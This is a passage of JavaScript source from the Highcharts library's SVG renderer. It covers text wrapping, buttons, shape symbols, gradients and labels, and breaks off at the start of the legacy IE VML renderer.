tspan = doc.createElementNS(SVG_NS, 'tspan'),
spanStyle; // #390
if (styleRegex.test(span)) {
spanStyle = span.match(styleRegex)[1].replace(/(;| |^)color([ :])/, '$1fill$2');
attr(tspan, 'style', spanStyle);
}
if (hrefRegex.test(span) && !forExport) { // Not for export - #1529
attr(tspan, 'onclick', 'location.href=\"' + span.match(hrefRegex)[1] + '\"');
css(tspan, { cursor: 'pointer' });
}
span = (span.replace(/<(.|\n)*?>/g, '') || ' ')
.replace(/</g, '<')
.replace(/>/g, '>');
// Nested tags aren't supported, and cause crash in Safari (#1596)
if (span !== ' ') {
// add the text node
tspan.appendChild(doc.createTextNode(span));
if (!spanNo) { // first span in a line, align it to the left
attributes.x = parentX;
} else {
attributes.dx = 0; // #16
}
// add attributes
attr(tspan, attributes);
// first span on subsequent line, add the line height
if (!spanNo && lineNo) {
// allow getting the right offset height in exporting in IE
if (!hasSVG && forExport) {
css(tspan, { display: 'block' });
}
// Set the line height based on the font size of either
// the text element or the tspan element
attr(
tspan,
'dy',
getLineHeight(tspan),
// Safari 6.0.2 - too optimized for its own good (#1539)
// TODO: revisit this with future versions of Safari
isWebKit && tspan.offsetHeight
);
}
// Append it
textNode.appendChild(tspan);
spanNo++;
// check width and apply soft breaks
if (width) {
var words = span.replace(/([^\^])-/g, '$1- ').split(' '), // #1273
hasWhiteSpace = words.length > 1 && textStyles.whiteSpace !== 'nowrap',
tooLong,
actualWidth,
clipHeight = wrapper._clipHeight,
rest = [],
dy = getLineHeight(),
softLineNo = 1,
bBox;
while (hasWhiteSpace && (words.length || rest.length)) {
delete wrapper.bBox; // delete cache
bBox = wrapper.getBBox();
actualWidth = bBox.width;
// Old IE cannot measure the actualWidth for SVG elements (#2314)
if (!hasSVG && renderer.forExport) {
actualWidth = renderer.measureSpanWidth(tspan.firstChild.data, wrapper.styles);
}
tooLong = actualWidth > width;
if (!tooLong || words.length === 1) { // new line needed
words = rest;
rest = [];
if (words.length) {
softLineNo++;
if (clipHeight && softLineNo * dy > clipHeight) {
words = ['...'];
wrapper.attr('title', wrapper.textStr);
} else {
tspan = doc.createElementNS(SVG_NS, 'tspan');
attr(tspan, {
dy: dy,
x: parentX
});
if (spanStyle) { // #390
attr(tspan, 'style', spanStyle);
}
textNode.appendChild(tspan);
if (actualWidth > width) { // a single word is pressing it out
width = actualWidth;
}
}
}
} else { // append to existing line tspan
tspan.removeChild(tspan.firstChild);
rest.unshift(words.pop());
}
if (words.length) {
tspan.appendChild(doc.createTextNode(words.join(' ').replace(/- /g, '-')));
}
}
}
}
}
});
});
},
/**
* Create a button with preset states
* @param {String} text
* @param {Number} x
* @param {Number} y
* @param {Function} callback
* @param {Object} normalState
* @param {Object} hoverState
* @param {Object} pressedState
*/
button: function (text, x, y, callback, normalState, hoverState, pressedState, disabledState, shape) {
var label = this.label(text, x, y, shape, null, null, null, null, 'button'),
curState = 0,
stateOptions,
stateStyle,
normalStyle,
hoverStyle,
pressedStyle,
disabledStyle,
STYLE = 'style',
verticalGradient = { x1: 0, y1: 0, x2: 0, y2: 1 };
// Normal state - prepare the attributes
normalState = merge({
'stroke-width': 1,
stroke: '#CCCCCC',
fill: {
linearGradient: verticalGradient,
stops: [
[0, '#FEFEFE'],
[1, '#F6F6F6']
]
},
r: 2,
padding: 5,
style: {
color: 'black'
}
}, normalState);
normalStyle = normalState[STYLE];
delete normalState[STYLE];
// Hover state
hoverState = merge(normalState, {
stroke: '#68A',
fill: {
linearGradient: verticalGradient,
stops: [
[0, '#FFF'],
[1, '#ACF']
]
}
}, hoverState);
hoverStyle = hoverState[STYLE];
delete hoverState[STYLE];
// Pressed state
pressedState = merge(normalState, {
stroke: '#68A',
fill: {
linearGradient: verticalGradient,
stops: [
[0, '#9BD'],
[1, '#CDF']
]
}
}, pressedState);
pressedStyle = pressedState[STYLE];
delete pressedState[STYLE];
// Disabled state
disabledState = merge(normalState, {
style: {
color: '#CCC'
}
}, disabledState);
disabledStyle = disabledState[STYLE];
delete disabledState[STYLE];
// Add the events. IE9 and IE10 need mouseover and mouseout to funciton (#667).
addEvent(label.element, isIE ? 'mouseover' : 'mouseenter', function () {
if (curState !== 3) {
label.attr(hoverState)
.css(hoverStyle);
}
});
addEvent(label.element, isIE ? 'mouseout' : 'mouseleave', function () {
if (curState !== 3) {
stateOptions = [normalState, hoverState, pressedState][curState];
stateStyle = [normalStyle, hoverStyle, pressedStyle][curState];
label.attr(stateOptions)
.css(stateStyle);
}
});
label.setState = function (state) {
label.state = curState = state;
if (!state) {
label.attr(normalState)
.css(normalStyle);
} else if (state === 2) {
label.attr(pressedState)
.css(pressedStyle);
} else if (state === 3) {
label.attr(disabledState)
.css(disabledStyle);
}
};
return label
.on('click', function () {
if (curState !== 3) {
callback.call(label);
}
})
.attr(normalState)
.css(extend({ cursor: 'default' }, normalStyle));
},
/**
* Make a straight line crisper by not spilling out to neighbour pixels
* @param {Array} points
* @param {Number} width
*/
crispLine: function (points, width) {
// points format: [M, 0, 0, L, 100, 0]
// normalize to a crisp line
if (points[1] === points[4]) {
// Substract due to #1129. Now bottom and left axis gridlines behave the same.
points[1] = points[4] = mathRound(points[1]) - (width % 2 / 2);
}
if (points[2] === points[5]) {
points[2] = points[5] = mathRound(points[2]) + (width % 2 / 2);
}
return points;
},
/**
* Draw a path
* @param {Array} path An SVG path in array form
*/
path: function (path) {
var attr = {
fill: NONE
};
if (isArray(path)) {
attr.d = path;
} else if (isObject(path)) { // attributes
extend(attr, path);
}
return this.createElement('path').attr(attr);
},
/**
* Draw and return an SVG circle
* @param {Number} x The x position
* @param {Number} y The y position
* @param {Number} r The radius
*/
circle: function (x, y, r) {
var attr = isObject(x) ?
x :
{
x: x,
y: y,
r: r
};
return this.createElement('circle').attr(attr);
},
/**
* Draw and return an arc
* @param {Number} x X position
* @param {Number} y Y position
* @param {Number} r Radius
* @param {Number} innerR Inner radius like used in donut charts
* @param {Number} start Starting angle
* @param {Number} end Ending angle
*/
arc: function (x, y, r, innerR, start, end) {
var arc;
if (isObject(x)) {
y = x.y;
r = x.r;
innerR = x.innerR;
start = x.start;
end = x.end;
x = x.x;
}
// Arcs are defined as symbols for the ability to set
// attributes in attr and animate
arc = this.symbol('arc', x || 0, y || 0, r || 0, r || 0, {
innerR: innerR || 0,
start: start || 0,
end: end || 0
});
arc.r = r; // #959
return arc;
},
/**
* Draw and return a rectangle
* @param {Number} x Left position
* @param {Number} y Top position
* @param {Number} width
* @param {Number} height
* @param {Number} r Border corner radius
* @param {Number} strokeWidth A stroke width can be supplied to allow crisp drawing
*/
rect: function (x, y, width, height, r, strokeWidth) {
r = isObject(x) ? x.r : r;
var wrapper = this.createElement('rect'),
attr = isObject(x) ? x : x === UNDEFINED ? {} : {
x: x,
y: y,
width: mathMax(width, 0),
height: mathMax(height, 0)
};
if (strokeWidth !== UNDEFINED) {
attr.strokeWidth = strokeWidth;
attr = wrapper.crisp(attr);
}
if (r) {
attr.r = r;
}
return wrapper.attr(attr);
},
/**
* Resize the box and re-align all aligned elements
* @param {Object} width
* @param {Object} height
* @param {Boolean} animate
*
*/
setSize: function (width, height, animate) {
var renderer = this,
alignedObjects = renderer.alignedObjects,
i = alignedObjects.length;
renderer.width = width;
renderer.height = height;
renderer.boxWrapper[pick(animate, true) ? 'animate' : 'attr']({
width: width,
height: height
});
while (i--) {
alignedObjects[i].align();
}
},
/**
* Create a group
* @param {String} name The group will be given a class name of 'highcharts-{name}'.
* This can be used for styling and scripting.
*/
g: function (name) {
var elem = this.createElement('g');
return defined(name) ? elem.attr({ 'class': PREFIX + name }) : elem;
},
/**
* Display an image
* @param {String} src
* @param {Number} x
* @param {Number} y
* @param {Number} width
* @param {Number} height
*/
image: function (src, x, y, width, height) {
var attribs = {
preserveAspectRatio: NONE
},
elemWrapper;
// optional properties
if (arguments.length > 1) {
extend(attribs, {
x: x,
y: y,
width: width,
height: height
});
}
elemWrapper = this.createElement('image').attr(attribs);
// set the href in the xlink namespace
if (elemWrapper.element.setAttributeNS) {
elemWrapper.element.setAttributeNS('http://www.w3.org/1999/xlink',
'href', src);
} else {
// could be exporting in IE
// using href throws "not supported" in ie7 and under, requries regex shim to fix later
elemWrapper.element.setAttribute('hc-svg-href', src);
}
return elemWrapper;
},
/**
* Draw a symbol out of pre-defined shape paths from the namespace 'symbol' object.
*
* @param {Object} symbol
* @param {Object} x
* @param {Object} y
* @param {Object} radius
* @param {Object} options
*/
symbol: function (symbol, x, y, width, height, options) {
var obj,
// get the symbol definition function
symbolFn = this.symbols[symbol],
// check if there's a path defined for this symbol
path = symbolFn && symbolFn(
mathRound(x),
mathRound(y),
width,
height,
options
),
imageElement,
imageRegex = /^url\((.*?)\)$/,
imageSrc,
imageSize,
centerImage;
if (path) {
obj = this.path(path);
// expando properties for use in animate and attr
extend(obj, {
symbolName: symbol,
x: x,
y: y,
width: width,
height: height
});
if (options) {
extend(obj, options);
}
// image symbols
} else if (imageRegex.test(symbol)) {
// On image load, set the size and position
centerImage = function (img, size) {
if (img.element) { // it may be destroyed in the meantime (#1390)
img.attr({
width: size[0],
height: size[1]
});
if (!img.alignByTranslate) { // #185
img.translate(
mathRound((width - size[0]) / 2), // #1378
mathRound((height - size[1]) / 2)
);
}
}
};
imageSrc = symbol.match(imageRegex)[1];
imageSize = symbolSizes[imageSrc];
// Ireate the image synchronously, add attribs async
obj = this.image(imageSrc)
.attr({
x: x,
y: y
});
obj.isImg = true;
if (imageSize) {
centerImage(obj, imageSize);
} else {
// Initialize image to be 0 size so export will still function if there's no cached sizes.
//
obj.attr({ width: 0, height: 0 });
// Create a dummy JavaScript image to get the width and height. Due to a bug in IE < 8,
// the created element must be assigned to a variable in order to load (#292).
imageElement = createElement('img', {
onload: function () {
centerImage(obj, symbolSizes[imageSrc] = [this.width, this.height]);
},
src: imageSrc
});
}
}
return obj;
},
/**
* An extendable collection of functions for defining symbol paths.
*/
symbols: {
'circle': function (x, y, w, h) {
var cpw = 0.166 * w;
return [
M, x + w / 2, y,
'C', x + w + cpw, y, x + w + cpw, y + h, x + w / 2, y + h,
'C', x - cpw, y + h, x - cpw, y, x + w / 2, y,
'Z'
];
},
'square': function (x, y, w, h) {
return [
M, x, y,
L, x + w, y,
x + w, y + h,
x, y + h,
'Z'
];
},
'triangle': function (x, y, w, h) {
return [
M, x + w / 2, y,
L, x + w, y + h,
x, y + h,
'Z'
];
},
'triangle-down': function (x, y, w, h) {
return [
M, x, y,
L, x + w, y,
x + w / 2, y + h,
'Z'
];
},
'diamond': function (x, y, w, h) {
return [
M, x + w / 2, y,
L, x + w, y + h / 2,
x + w / 2, y + h,
x, y + h / 2,
'Z'
];
},
'arc': function (x, y, w, h, options) {
var start = options.start,
radius = options.r || w || h,
end = options.end - 0.001, // to prevent cos and sin of start and end from becoming equal on 360 arcs (related: #1561)
innerRadius = options.innerR,
open = options.open,
cosStart = mathCos(start),
sinStart = mathSin(start),
cosEnd = mathCos(end),
sinEnd = mathSin(end),
longArc = options.end - start < mathPI ? 0 : 1;
return [
M,
x + radius * cosStart,
y + radius * sinStart,
'A', // arcTo
radius, // x radius
radius, // y radius
0, // slanting
longArc, // long or short arc
1, // clockwise
x + radius * cosEnd,
y + radius * sinEnd,
open ? M : L,
x + innerRadius * cosEnd,
y + innerRadius * sinEnd,
'A', // arcTo
innerRadius, // x radius
innerRadius, // y radius
0, // slanting
longArc, // long or short arc
0, // clockwise
x + innerRadius * cosStart,
y + innerRadius * sinStart,
open ? '' : 'Z' // close
];
}
},
/**
* Define a clipping rectangle
* @param {String} id
* @param {Number} x
* @param {Number} y
* @param {Number} width
* @param {Number} height
*/
clipRect: function (x, y, width, height) {
var wrapper,
id = PREFIX + idCounter++,
clipPath = this.createElement('clipPath').attr({
id: id
}).add(this.defs);
wrapper = this.rect(x, y, width, height, 0).add(clipPath);
wrapper.id = id;
wrapper.clipPath = clipPath;
return wrapper;
},
/**
* Take a color and return it if it's a string, make it a gradient if it's a
* gradient configuration object. Prior to Highstock, an array was used to define
* a linear gradient with pixel positions relative to the SVG. In newer versions
* we change the coordinates to apply relative to the shape, using coordinates
* 0-1 within the shape. To preserve backwards compatibility, linearGradient
* in this definition is an object of x1, y1, x2 and y2.
*
* @param {Object} color The color or config object
*/
color: function (color, elem, prop) {
var renderer = this,
colorObject,
regexRgba = /^rgba/,
gradName,
gradAttr,
gradients,
gradientObject,
stops,
stopColor,
stopOpacity,
radialReference,
n,
id,
key = [];
// Apply linear or radial gradients
if (color && color.linearGradient) {
gradName = 'linearGradient';
} else if (color && color.radialGradient) {
gradName = 'radialGradient';
}
if (gradName) {
gradAttr = color[gradName];
gradients = renderer.gradients;
stops = color.stops;
radialReference = elem.radialReference;
// Keep < 2.2 kompatibility
if (isArray(gradAttr)) {
color[gradName] = gradAttr = {
x1: gradAttr[0],
y1: gradAttr[1],
x2: gradAttr[2],
y2: gradAttr[3],
gradientUnits: 'userSpaceOnUse'
};
}
// Correct the radial gradient for the radial reference system
if (gradName === 'radialGradient' && radialReference && !defined(gradAttr.gradientUnits)) {
gradAttr = merge(gradAttr, {
cx: (radialReference[0] - radialReference[2] / 2) + gradAttr.cx * radialReference[2],
cy: (radialReference[1] - radialReference[2] / 2) + gradAttr.cy * radialReference[2],
r: gradAttr.r * radialReference[2],
gradientUnits: 'userSpaceOnUse'
});
}
// Build the unique key to detect whether we need to create a new element (#1282)
for (n in gradAttr) {
if (n !== 'id') {
key.push(n, gradAttr[n]);
}
}
for (n in stops) {
key.push(stops[n]);
}
key = key.join(',');
// Check if a gradient object with the same config object is created within this renderer
if (gradients[key]) {
id = gradients[key].id;
} else {
// Set the id and create the element
gradAttr.id = id = PREFIX + idCounter++;
gradients[key] = gradientObject = renderer.createElement(gradName)
.attr(gradAttr)
.add(renderer.defs);
// The gradient needs to keep a list of stops to be able to destroy them
gradientObject.stops = [];
each(stops, function (stop) {
var stopObject;
if (regexRgba.test(stop[1])) {
colorObject = Color(stop[1]);
stopColor = colorObject.get('rgb');
stopOpacity = colorObject.get('a');
} else {
stopColor = stop[1];
stopOpacity = 1;
}
stopObject = renderer.createElement('stop').attr({
offset: stop[0],
'stop-color': stopColor,
'stop-opacity': stopOpacity
}).add(gradientObject);
// Add the stop element to the gradient
gradientObject.stops.push(stopObject);
});
}
// Return the reference to the gradient object
return 'url(' + renderer.url + '#' + id + ')';
// Webkit and Batik can't show rgba.
} else if (regexRgba.test(color)) {
colorObject = Color(color);
attr(elem, prop + '-opacity', colorObject.get('a'));
return colorObject.get('rgb');
} else {
// Remove the opacity attribute added above. Does not throw if the attribute is not there.
elem.removeAttribute(prop + '-opacity');
return color;
}
},
/**
* Add text to the SVG object
* @param {String} str
* @param {Number} x Left position
* @param {Number} y Top position
* @param {Boolean} useHTML Use HTML to render the text
*/
text: function (str, x, y, useHTML) {
// declare variables
var renderer = this,
fakeSVG = useCanVG || (!hasSVG && renderer.forExport),
wrapper;
if (useHTML && !renderer.forExport) {
return renderer.html(str, x, y);
}
x = mathRound(pick(x, 0));
y = mathRound(pick(y, 0));
wrapper = renderer.createElement('text')
.attr({
x: x,
y: y,
text: str
});
// Prevent wrapping from creating false offsetWidths in export in legacy IE (#1079, #1063)
if (fakeSVG) {
wrapper.css({
position: ABSOLUTE
});
}
wrapper.x = x;
wrapper.y = y;
return wrapper;
},
/**
* Utility to return the baseline offset and total line height from the font size
*/
fontMetrics: function (fontSize) {
fontSize = fontSize || this.style.fontSize;
fontSize = /px/.test(fontSize) ? pInt(fontSize) : /em/.test(fontSize) ? parseFloat(fontSize) * 12 : 12;
// Empirical values found by comparing font size and bounding box height.
// Applies to the default font family. http://jsfiddle.net/highcharts/7xvn7/
var lineHeight = fontSize < 24 ? fontSize + 4 : mathRound(fontSize * 1.2),
baseline = mathRound(lineHeight * 0.8);
return {
h: lineHeight,
b: baseline
};
},
/**
* Add a label, a text item that can hold a colored or gradient background
* as well as a border and shadow.
* @param {string} str
* @param {Number} x
* @param {Number} y
* @param {String} shape
* @param {Number} anchorX In case the shape has a pointer, like a flag, this is the
* coordinates it should be pinned to
* @param {Number} anchorY
* @param {Boolean} baseline Whether to position the label relative to the text baseline,
* like renderer.text, or to the upper border of the rectangle.
* @param {String} className Class name for the group
*/
label: function (str, x, y, shape, anchorX, anchorY, useHTML, baseline, className) {
var renderer = this,
wrapper = renderer.g(className),
text = renderer.text('', 0, 0, useHTML)
.attr({
zIndex: 1
}),
//.add(wrapper),
box,
bBox,
alignFactor = 0,
padding = 3,
paddingLeft = 0,
width,
height,
wrapperX,
wrapperY,
crispAdjust = 0,
deferredAttr = {},
baselineOffset,
attrSetters = wrapper.attrSetters,
needsBox;
/**
* This function runs after the label is added to the DOM (when the bounding box is
* available), and after the text of the label is updated to detect the new bounding
* box and reflect it in the border box.
*/
function updateBoxSize() {
var boxX,
boxY,
style = text.element.style;
bBox = (width === undefined || height === undefined || wrapper.styles.textAlign) && text.textStr &&
text.getBBox();
wrapper.width = (width || bBox.width || 0) + 2 * padding + paddingLeft;
wrapper.height = (height || bBox.height || 0) + 2 * padding;
// update the label-scoped y offset
baselineOffset = padding + renderer.fontMetrics(style && style.fontSize).b;
if (needsBox) {
// create the border box if it is not already present
if (!box) {
boxX = mathRound(-alignFactor * padding);
boxY = baseline ? -baselineOffset : 0;
wrapper.box = box = shape ?
renderer.symbol(shape, boxX, boxY, wrapper.width, wrapper.height, deferredAttr) :
renderer.rect(boxX, boxY, wrapper.width, wrapper.height, 0, deferredAttr[STROKE_WIDTH]);
box.attr('fill', NONE).add(wrapper);
}
// apply the box attributes
if (!box.isImg) { // #1630
box.attr(merge({
width: wrapper.width,
height: wrapper.height
}, deferredAttr));
}
deferredAttr = null;
}
}
/**
* This function runs after setting text or padding, but only if padding is changed
*/
function updateTextPadding() {
var styles = wrapper.styles,
textAlign = styles && styles.textAlign,
x = paddingLeft + padding * (1 - alignFactor),
y;
// determin y based on the baseline
y = baseline ? 0 : baselineOffset;
// compensate for alignment
if (defined(width) && bBox && (textAlign === 'center' || textAlign === 'right')) {
x += { center: 0.5, right: 1 }[textAlign] * (width - bBox.width);
}
// update if anything changed
if (x !== text.x || y !== text.y) {
text.attr({
x: x,
y: y
});
}
// record current values
text.x = x;
text.y = y;
}
/**
* Set a box attribute, or defer it if the box is not yet created
* @param {Object} key
* @param {Object} value
*/
function boxAttr(key, value) {
if (box) {
box.attr(key, value);
} else {
deferredAttr[key] = value;
}
}
/**
* After the text element is added, get the desired size of the border box
* and add it before the text in the DOM.
*/
wrapper.onAdd = function () {
text.add(wrapper);
wrapper.attr({
text: str, // alignment is available now
x: x,
y: y
});
if (box && defined(anchorX)) {
wrapper.attr({
anchorX: anchorX,
anchorY: anchorY
});
}
};
/*
* Add specific attribute setters.
*/
// only change local variables
attrSetters.width = function (value) {
width = value;
return false;
};
attrSetters.height = function (value) {
height = value;
return false;
};
attrSetters.padding = function (value) {
if (defined(value) && value !== padding) {
padding = value;
updateTextPadding();
}
return false;
};
attrSetters.paddingLeft = function (value) {
if (defined(value) && value !== paddingLeft) {
paddingLeft = value;
updateTextPadding();
}
return false;
};
// change local variable and set attribue as well
attrSetters.align = function (value) {
alignFactor = { left: 0, center: 0.5, right: 1 }[value];
return false; // prevent setting text-anchor on the group
};
// apply these to the box and the text alike
attrSetters.text = function (value, key) {
text.attr(key, value);
updateBoxSize();
updateTextPadding();
return false;
};
// apply these to the box but not to the text
attrSetters[STROKE_WIDTH] = function (value, key) {
if (value) {
needsBox = true;
}
crispAdjust = value % 2 / 2;
boxAttr(key, value);
return false;
};
attrSetters.stroke = attrSetters.fill = attrSetters.r = function (value, key) {
if (key === 'fill' && value) {
needsBox = true;
}
boxAttr(key, value);
return false;
};
attrSetters.anchorX = function (value, key) {
anchorX = value;
boxAttr(key, value + crispAdjust - wrapperX);
return false;
};
attrSetters.anchorY = function (value, key) {
anchorY = value;
boxAttr(key, value - wrapperY);
return false;
};
// rename attributes
attrSetters.x = function (value) {
wrapper.x = value; // for animation getter
value -= alignFactor * ((width || bBox.width) + padding);
wrapperX = mathRound(value);
wrapper.attr('translateX', wrapperX);
return false;
};
attrSetters.y = function (value) {
wrapperY = wrapper.y = mathRound(value);
wrapper.attr('translateY', wrapperY);
return false;
};
// Redirect certain methods to either the box or the text
var baseCss = wrapper.css;
return extend(wrapper, {
/**
* Pick up some properties and apply them to the text instead of the wrapper
*/
css: function (styles) {
if (styles) {
var textStyles = {};
styles = merge(styles); // create a copy to avoid altering the original object (#537)
each(['fontSize', 'fontWeight', 'fontFamily', 'color', 'lineHeight', 'width', 'textDecoration', 'textShadow'], function (prop) {
if (styles[prop] !== UNDEFINED) {
textStyles[prop] = styles[prop];
delete styles[prop];
}
});
text.css(textStyles);
}
return baseCss.call(wrapper, styles);
},
/**
* Return the bounding box of the box, not the group
*/
getBBox: function () {
return {
width: bBox.width + 2 * padding,
height: bBox.height + 2 * padding,
x: bBox.x - padding,
y: bBox.y - padding
};
},
/**
* Apply the shadow to the box
*/
shadow: function (b) {
if (box) {
box.shadow(b);
}
return wrapper;
},
/**
* Destroy and release memory.
*/
destroy: function () {
// Added by button implementation
removeEvent(wrapper.element, 'mouseenter');
removeEvent(wrapper.element, 'mouseleave');
if (text) {
text = text.destroy();
}
if (box) {
box = box.destroy();
}
// Call base implementation to destroy the rest
SVGElement.prototype.destroy.call(wrapper);
// Release local pointers (#1298)
wrapper = renderer = updateBoxSize = updateTextPadding = boxAttr = null;
}
});
}
}; // end SVGRenderer
// general renderer
Renderer = SVGRenderer;
// extend SvgElement for useHTML option
extend(SVGElement.prototype, {
/**
* Apply CSS to HTML elements. This is used in text within SVG rendering and
* by the VML renderer
*/
htmlCss: function (styles) {
var wrapper = this,
element = wrapper.element,
textWidth = styles && element.tagName === 'SPAN' && styles.width;
if (textWidth) {
delete styles.width;
wrapper.textWidth = textWidth;
wrapper.updateTransform();
}
wrapper.styles = extend(wrapper.styles, styles);
css(wrapper.element, styles);
return wrapper;
},
/**
* VML and useHTML method for calculating the bounding box based on offsets
* @param {Boolean} refresh Whether to force a fresh value from the DOM or to
* use the cached value
*
* @return {Object} A hash containing values for x, y, width and height
*/
htmlGetBBox: function () {
var wrapper = this,
element = wrapper.element,
bBox = wrapper.bBox;
// faking getBBox in exported SVG in legacy IE
if (!bBox) {
// faking getBBox in exported SVG in legacy IE (is this a duplicate of the fix for #1079?)
if (element.nodeName === 'text') {
element.style.position = ABSOLUTE;
}
bBox = wrapper.bBox = {
x: element.offsetLeft,
y: element.offsetTop,
width: element.offsetWidth,
height: element.offsetHeight
};
}
return bBox;
},
/**
* VML override private method to update elements based on internal
* properties based on SVG transform
*/
htmlUpdateTransform: function () {
// aligning non added elements is expensive
if (!this.added) {
this.alignOnAdd = true;
return;
}
var wrapper = this,
renderer = wrapper.renderer,
elem = wrapper.element,
translateX = wrapper.translateX || 0,
translateY = wrapper.translateY || 0,
x = wrapper.x || 0,
y = wrapper.y || 0,
align = wrapper.textAlign || 'left',
alignCorrection = { left: 0, center: 0.5, right: 1 }[align],
shadows = wrapper.shadows;
// apply translate
css(elem, {
marginLeft: translateX,
marginTop: translateY
});
if (shadows) { // used in labels/tooltip
each(shadows, function (shadow) {
css(shadow, {
marginLeft: translateX + 1,
marginTop: translateY + 1
});
});
}
// apply inversion
if (wrapper.inverted) { // wrapper is a group
each(elem.childNodes, function (child) {
renderer.invertChild(child, elem);
});
}
if (elem.tagName === 'SPAN') {
var width,
rotation = wrapper.rotation,
baseline,
textWidth = pInt(wrapper.textWidth),
currentTextTransform = [rotation, align, elem.innerHTML, wrapper.textWidth].join(',');
if (currentTextTransform !== wrapper.cTT) { // do the calculations and DOM access only if properties changed
baseline = renderer.fontMetrics(elem.style.fontSize).b;
// Renderer specific handling of span rotation
if (defined(rotation)) {
wrapper.setSpanRotation(rotation, alignCorrection, baseline);
}
width = pick(wrapper.elemWidth, elem.offsetWidth);
// Update textWidth
if (width > textWidth && /[ \-]/.test(elem.textContent || elem.innerText)) { // #983, #1254
css(elem, {
width: textWidth + PX,
display: 'block',
whiteSpace: 'normal'
});
width = textWidth;
}
wrapper.getSpanCorrection(width, baseline, alignCorrection, rotation, align);
}
// apply position with correction
css(elem, {
left: (x + (wrapper.xCorr || 0)) + PX,
top: (y + (wrapper.yCorr || 0)) + PX
});
// force reflow in webkit to apply the left and top on useHTML element (#1249)
if (isWebKit) {
baseline = elem.offsetHeight; // assigned to baseline for JSLint purpose
}
// record current text transform
wrapper.cTT = currentTextTransform;
}
},
/**
* Set the rotation of an individual HTML span
*/
setSpanRotation: function (rotation, alignCorrection, baseline) {
var rotationStyle = {},
cssTransformKey = isIE ? '-ms-transform' : isWebKit ? '-webkit-transform' : isFirefox ? 'MozTransform' : isOpera ? '-o-transform' : '';
rotationStyle[cssTransformKey] = rotationStyle.transform = 'rotate(' + rotation + 'deg)';
rotationStyle[cssTransformKey + (isFirefox ? 'Origin' : '-origin')] = rotationStyle.transformOrigin = (alignCorrection * 100) + '% ' + baseline + 'px';
css(this.element, rotationStyle);
},
/**
* Get the correction in X and Y positioning as the element is rotated.
*/
getSpanCorrection: function (width, baseline, alignCorrection) {
this.xCorr = -width * alignCorrection;
this.yCorr = -baseline;
}
});
// Extend SvgRenderer for useHTML option.
extend(SVGRenderer.prototype, {
/**
* Create HTML text node. This is used by the VML renderer as well as the SVG
* renderer through the useHTML option.
*
* @param {String} str
* @param {Number} x
* @param {Number} y
*/
html: function (str, x, y) {
var wrapper = this.createElement('span'),
attrSetters = wrapper.attrSetters,
element = wrapper.element,
renderer = wrapper.renderer;
// Text setter
attrSetters.text = function (value) {
if (value !== element.innerHTML) {
delete this.bBox;
}
element.innerHTML = this.textStr = value;
return false;
};
// Various setters which rely on update transform
attrSetters.x = attrSetters.y = attrSetters.align = attrSetters.rotation = function (value, key) {
if (key === 'align') {
key = 'textAlign'; // Do not overwrite the SVGElement.align method. Same as VML.
}
wrapper[key] = value;
wrapper.htmlUpdateTransform();
return false;
};
// Set the default attributes
wrapper.attr({
text: str,
x: mathRound(x),
y: mathRound(y)
})
.css({
position: ABSOLUTE,
whiteSpace: 'nowrap',
fontFamily: this.style.fontFamily,
fontSize: this.style.fontSize
});
// Use the HTML specific .css method
wrapper.css = wrapper.htmlCss;
// This is specific for HTML within SVG
if (renderer.isSVG) {
wrapper.add = function (svgGroupWrapper) {
var htmlGroup,
container = renderer.box.parentNode,
parentGroup,
parents = [];
this.parentGroup = svgGroupWrapper;
// Create a mock group to hold the HTML elements
if (svgGroupWrapper) {
htmlGroup = svgGroupWrapper.div;
if (!htmlGroup) {
// Read the parent chain into an array and read from top down
parentGroup = svgGroupWrapper;
while (parentGroup) {
parents.push(parentGroup);
// Move up to the next parent group
parentGroup = parentGroup.parentGroup;
}
// Ensure dynamically updating position when any parent is translated
each(parents.reverse(), function (parentGroup) {
var htmlGroupStyle;
// Create a HTML div and append it to the parent div to emulate
// the SVG group structure
htmlGroup = parentGroup.div = parentGroup.div || createElement(DIV, {
className: attr(parentGroup.element, 'class')
}, {
position: ABSOLUTE,
left: (parentGroup.translateX || 0) + PX,
top: (parentGroup.translateY || 0) + PX
}, htmlGroup || container); // the top group is appended to container
// Shortcut
htmlGroupStyle = htmlGroup.style;
// Set listeners to update the HTML div's position whenever the SVG group
// position is changed
extend(parentGroup.attrSetters, {
translateX: function (value) {
htmlGroupStyle.left = value + PX;
},
translateY: function (value) {
htmlGroupStyle.top = value + PX;
},
visibility: function (value, key) {
htmlGroupStyle[key] = value;
}
});
});
}
} else {
htmlGroup = container;
}
htmlGroup.appendChild(element);
// Shared with VML:
wrapper.added = true;
if (wrapper.alignOnAdd) {
wrapper.htmlUpdateTransform();
}
return wrapper;
};
}
return wrapper;
}
});
/* ****************************************************************************
* *
* START OF INTERNET EXPLORER <= 8 SPECIFIC CODE *
* *
* For applications and websites that don't need IE support, like platform *
* targeted mobile apps and web apps, this code can be removed. *
* *
*****************************************************************************/
/**
* @constructor
*/
var VMLRenderer, VMLElement;
if (!hasSVG && !useCanVG) {
/**
* The VML element wrapper.
*/
Highcharts.VMLElement = VMLElement = {
/**
* Initialize a new VML element wrapper. It builds the markup as a string
* to minimize DOM traffic.
* @param {Object} renderer
* @param {Object} nodeName
*/
init: function (renderer, nodeName) {
var wrapper = this,
markup = ['<', nodeName, ' filled="f" stroked="f"'],
style = ['position: ', ABSOLUTE, ';'],
isDiv = nodeName === DIV;
// divs and shapes need size
if (nodeName === 'shape' || isDiv) {
style.push('left:0;top:0;width:1px;height:1px;');
}
style.push('visibility: ', isDiv ? HIDDEN : VISIBLE);
markup.push(' style="', style.join(''), '"/>');
// create element with default attributes and style
if (nodeName) {
markup = isDiv || nodeName === 'span' || nodeName === 'img' ?
markup.join('')
: renderer.prepVML(markup);
wrapper.element = createElement(markup);
}
wrapper.renderer = renderer;
wrapper.attrSetters = {};
},
/**
* Add the node to the given parent
* @param {Object} parent
*/
add: function (parent) {
var wrapper = this,
renderer = wrapper.renderer,
element = wrapper.element,
box = renderer.box,
inverted = parent && parent.inverted,
// get the parent node
parentNode = parent ?
parent.element || parent :
box;
// if the parent group is inverted, apply inversion on all children
if (inverted) { // only on groups
renderer.invertChild(element, parentNode);
}
// append it
parentNode.appendChild(element);
// align text after adding to be able to read offset
wrapper.added = true;
if (wrapper.alignOnAdd && !wrapper.deferUpdateTransform) {
wrapper.updateTransform();
}
// fire an event for internal hooks
if (wrapper.onAdd) {
wrapper.onAdd();
}
return wrapper;
},
/**
* VML always uses htmlUpdateTransform
*/
updateTransform: SVGElement.prototype.htmlUpdateTransform,
/**
* Set the rotation of a span with oldIE's filter
*/
setSpanRotation: function () {
// Adjust for alignment and rotation. Rotation of useHTML content is not yet implemented
